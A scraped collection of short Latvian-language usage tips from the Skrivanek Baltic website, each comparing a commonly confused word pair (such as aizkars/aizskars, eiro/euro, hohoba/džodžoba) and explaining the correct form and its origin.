JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pie logiem karam aizkaru vai aizskaru? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2024-08-06 - URL: https://skrivanek.lv/aizkars-pret-aizskars/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AIZKARS PRET AIZSKARS 1 Vai pie logiem karam aizkaru vai aizskaru? Audumu vai pinumu, ar kuru kaut ko aizsedz vai atdala no pārējās telpas, sauc par aizkaru (atbilstošais darbības vārds – „aizkārt”). Vārds „aizskars” ir darbības vārda „aizskart” vienkāršās nākotnes 3. personas forma, piemēram, „šis stāsts aizskars slēptākās dvēseles stīgas”. Tātad dosimies uz aizkaru salonu, iegādāsimies aizkaru audumu vai izvēlēsimies dušas aizkaru. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ievērosim ajūrvēdas vai ājurvēdas principus? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-07-26 - Modified: 2024-08-15 - URL: https://skrivanek.lv/ajurveda/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AJŪRVĒDA PRET ĀJURVĒDA 1 Vai ievērosim ajūrvēdas vai ājurvēdas principus? Senās Indijas dziedniecības sistēmu, kurā izmanto dabas līdzekļus, ievēro noteiktus uztura un dzīvesveida principus, sauc par ājurvēdu. Vārds cēlies no sanskrita vārda „āyus” ar nozīmi ‘dzīve’ un „veda” – ‘(svētās) zināšanas’. Šī vārda rakstībā ir vērojamas svārstības, taču 2013. gadā Valsts valodas centra Latviešu valodas ekspertu komisija apstiprināja vārda „ājurvēda” rakstību. Tātad dzīvē varam ievērot ājurvēdas principus, varam izmēģināt ājurvēdas ēdienu receptes utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Jaunā vidē nepieciešama adaptācija vai adoptācija? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-25 - Modified: 2024-08-26 - URL: https://skrivanek.lv/adaptacija-pret-adoptacija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ADAPTĀCIJA PRET ADOPTĀCIJA 1 Vai jaunā vidē nepieciešama adaptācija vai adoptācija? Adaptācija nozīmē pielāgošanos – piemēram, videi, jaunam darba kolektīvam. Tāpat par adaptāciju saucam teksta pielāgošanu lasītāja vajadzībām. Vārds cēlies no latīņu vārda „adaptare”, kas nozīmē ‘pielāgot’, ‘piemērot’. Tas rakstāms ar otro patskani „a”: adaptācija. Arī darbības vārds „adaptēt” rakstāms ar „a”, jo „adoptēt” nozīmē pavisam ko citu. Vārdu „adoptācija” arī bieži lieto vārda „adopcija” vietā: adopcija nozīmē vecāku tiesību juridisku noformēšanu, piešķirot pieņemtam bērnam laulībā dzimuša bērna tiesības. Tātad jaunā vidē mums jāizdzīvo adaptācijas periods, sarežģītu romāna tekstu varam adaptēt skolas vecuma bērniem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pārbaudi vai zini atbildi! Daudzi SKRIVANEK latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-07-24 - Modified: 2024-11-06 - URL: https://skrivanek.lv/atpakal-pret-pirms/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATPAKAĻ PRET PIRMS 1 Piecus gadus atpakaļ vai pirms pieciem gadiem? Apstākļa vārdu „atpakaļ” nav vēlams lietot ar nozīmi ‘iepriekš, senāk’, piemēram, „gadu atpakaļ”, „kādu laiku atpakaļ”. Šādā nozīmē pareizāk lietot apstākļa vārdu „pirms”: „pirms gada”, „pirms kāda laika”. Vārdu „atpakaļ” lieto ar nozīmi ‘iepriekšējā vietā, stāvoklī’, piemēram, „ielikt grāmatu atpakaļ plauktā”, vai ar nozīmi ‘virzienā uz mugurpusi’ – „paiet dažus soļus atpakaļ”. Tātad runāsim par notikumiem, kādus esam piedzīvojuši pirms pieciem gadiem. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Lasi vairāk un pārbaudi savas latviešu valodas zināšanas! Daudzi latviešu valodas padomi vienuviet! Noderīgi kā lietišķajā saziņā, tā sadzīvē - Published: 2018-07-24 - Modified: 2024-08-12 - URL: https://skrivanek.lv/bardaks-pret-haoss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BARDAKS PRET HAOSS 1 Vai uz rakstāmgalda valda bardaks vai haoss? Lielu nekārtību, jucekli sauc par haosu. Vārds cēlies no grieķu vārda „chaos”. Savukārt sarunvalodas vārds „bardaks” aizgūts no krievu sarunvalodas vārda „бардак”. Tātad jucekli uz rakstāmgalda dēvēsim par haosu, pēc viesībām mājās valda haoss. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai televizora pultī liek baterejas vai baterijas? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-07-24 - Modified: 2024-08-13 - URL: https://skrivanek.lv/batereja-pret-baterija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BATEREJA PRET BATERIJA 1 Vai televizora pultī liek baterejas vai baterijas? Mēs nereti kļūdaini lietojam vārdu „batareja” vai „batereja” atbilstoši krievu valodas vārdam „батарея”. Latviešu valodā tiek lietots vārds „baterija” atbilstoši angļu valodas vārdam „battery”, vācu „Batterie”, franču „batterie” u. tml. Tātad mēs lietojam pults baterijas, saules baterijas, avārijbarošanas baterijas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pieci cilvēki stāv rindā viens aiz otra vai cits pēc cita? Llatviešu valodas padomi. Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-07-24 - Modified: 2024-08-29 - URL: https://skrivanek.lv/cits-aiz-cita-pret-viens-aiz-otra/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CITS AIZ CITA PRET VIENS AIZ OTRA 1 Vai pieci cilvēki stāv rindā viens aiz otra vai cits pēc cita? „Viens otram”, „viens aiz otra”, „viens pēc otra” – šādi mēs sakām, ja runājam par divām personām. Savukārt, ja personu ir trīs vai vairāk, jālieto „cits citam”, „cits aiz cita”, „cits pēc cita” utt. Tātad, ja rindā ir vairāk nekā divi cilvēki, viņi sastājušies cits aiz cita. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā īsti dēvēt mūsu kabača radinieku Itālijā – par cukini, cukīni vai cukīnī? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2018-07-24 - Modified: 2024-07-10 - URL: https://skrivanek.lv/cukini/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CUKINI PRET CUKĪNI 1 Kā īsti dēvēt mūsu kabača radinieku Itālijā – par cukini, cukīni vai varbūt cukīnī? Daudzu svešvārdu atveidē latviešu valodā ir ņemta vērā izruna oriģinālvalodā. Itāļu valodā vārds „zuccha” nozīmē „ķirbis”, savukārt kabaci jeb neizaugušo ķirbi dēvē par „zucchini”. Šajā vārdā uzsvars ir uz otrās zilbes. Valsts valodas centra Latviešu valodas ekspertu komisijas 2011. gada 16. novembra lēmumā noteikts, ka latviešu valodā šis svešvārds jāatveido kā „cukīni”, ar otrās zilbes uzsvaru. Tātad mūsu kabača dienvidu brāli dēvēsim par cukīni. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kosmētikā nereti lietots kāds augs, kuru dēvē dažādi – vai to sauc par džodžobu, jojobu vai hohobu? Daudzi latviešu valodas padomi vienuviet! - Published: 2018-07-24 - Modified: 2022-12-23 - URL: https://skrivanek.lv/dzodzoba-pret-hohoba/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DŽODŽOBA PRET HOHOBA 1 Kosmētikā nereti lietots kāds augs, kuru dēvē dažādi – vai to sauc par džodžobu, jojobu vai hohobu? Hohoba ir Amerikas tuksneša augs, mūžzaļš krūms, kas ražo ēdamus augļus, no kuru sēklām iegūst parfimērijā un kosmētikā izmantojamu eļļu. Spāņu valodā to raksta „jojoba” un izrunā ar līdzskani „h”: „hohoba”. Latviešu valodā nepareizie atveidojumi „džodžoba” vai „jojoba” radušies angļu valodas dēļ, jo tekstos angļu valodā saglabāta oriģinālrakstība „jojoba”, un „j” izruna angļu un spāņu valodā atšķiras. Tātad lietosim dušas želeju, šampūnu, ziepes u. tml. ar hohobu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Eiropas Savienībā lietojam eiro vai euro? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2018-07-24 - Modified: 2024-07-12 - URL: https://skrivanek.lv/euro-pret-eiro/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional EURO PRET EIRO 1 Vai Eiropas Savienībā lietojam eiro vai euro? Eiropas Savienības naudas vienību latviešu valodā saucam par eiro. Vārdu „eiro” lietojam ikdienas saziņā un publiskajā telpā. Savukārt tiesību aktos, kā arī tiesiskajos instrumentos (piemēram, juridiskos un finanšu dokumentos), kur to nosaka likums, latviešu valodā lietojams vārds „euro” slīprakstā. Jāatceras arī, ka naudas vienību – simto daļu no eiro – saucam par centu, nevis eirocentu. Tātad varam teikt, ka biļete uz koncertu maksā piecus eiro, mūsu pērnā gada ieņēmumi bijuši pieci tūkstoši eiro utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Svētku maltītes gatavošanai jāiegādājas alumīnija folija vai follijs? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-07-24 - Modified: 2024-07-11 - URL: https://skrivanek.lv/folija-pret-follijs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FOLIJA PRET FOLLIJS 1 Vai svētku maltītes gatavošanai jāiegādājas alumīnija folija vai follijs? Folija ir plāna metāla loksne, kuru lieto, piemēram, produktu iesaiņošanai vai par izolāciju. Vārds cēlies no latīņu vārda „folium” ar nozīmi ‘lapa’. Savukārt follijs ir vara monēta Senajā Romā; arī Bizantijas vara monēta. Šī vārda pamatā ir latīņu vārds „follis” ar nozīmi ‘naudasmaks’. Tātad produktu iesaiņošanai lietojama folija; arī zivs cepšanai izmantojama folija. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Sevišķus vēdera priekus dēvēsim par gastranomisku vai gastronomisku baudījumu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - Published: 2018-07-24 - Modified: 2024-10-23 - URL: https://skrivanek.lv/gastranomija-pret-gastronomija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional GASTRANOMIJA PRET GASTRONOMIJA 1 Vai sevišķus vēdera priekus dēvēsim par gastranomisku vai gastronomisku baudījumu? Vārds „gastronomija” aizgūts no franču vārda „gastronomie” (cēlies no grieķu „gastēr” ar nozīmi ‘vēders’, „nomos” ‘likums’), un to lieto divās nozīmēs – ‘noteikta sortimenta pārtikas preču kopums’, piemēram, „gastronomijas izstrādājumi”, „gastronomijas veikals”, kā arī ‘augstākās klases pavārmāksla’ – „gastronomijas tradīcijas”, „gastronomijas festivāls”. Vārds rakstāms ar patskani „o” otrajā zilbē atbilstoši tā rakstībai franču valodā. Tātad varam pievērsties gastronomiskajam tūrismam un gūt gastronomisku baudījumu dažādās pasaules vietās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas 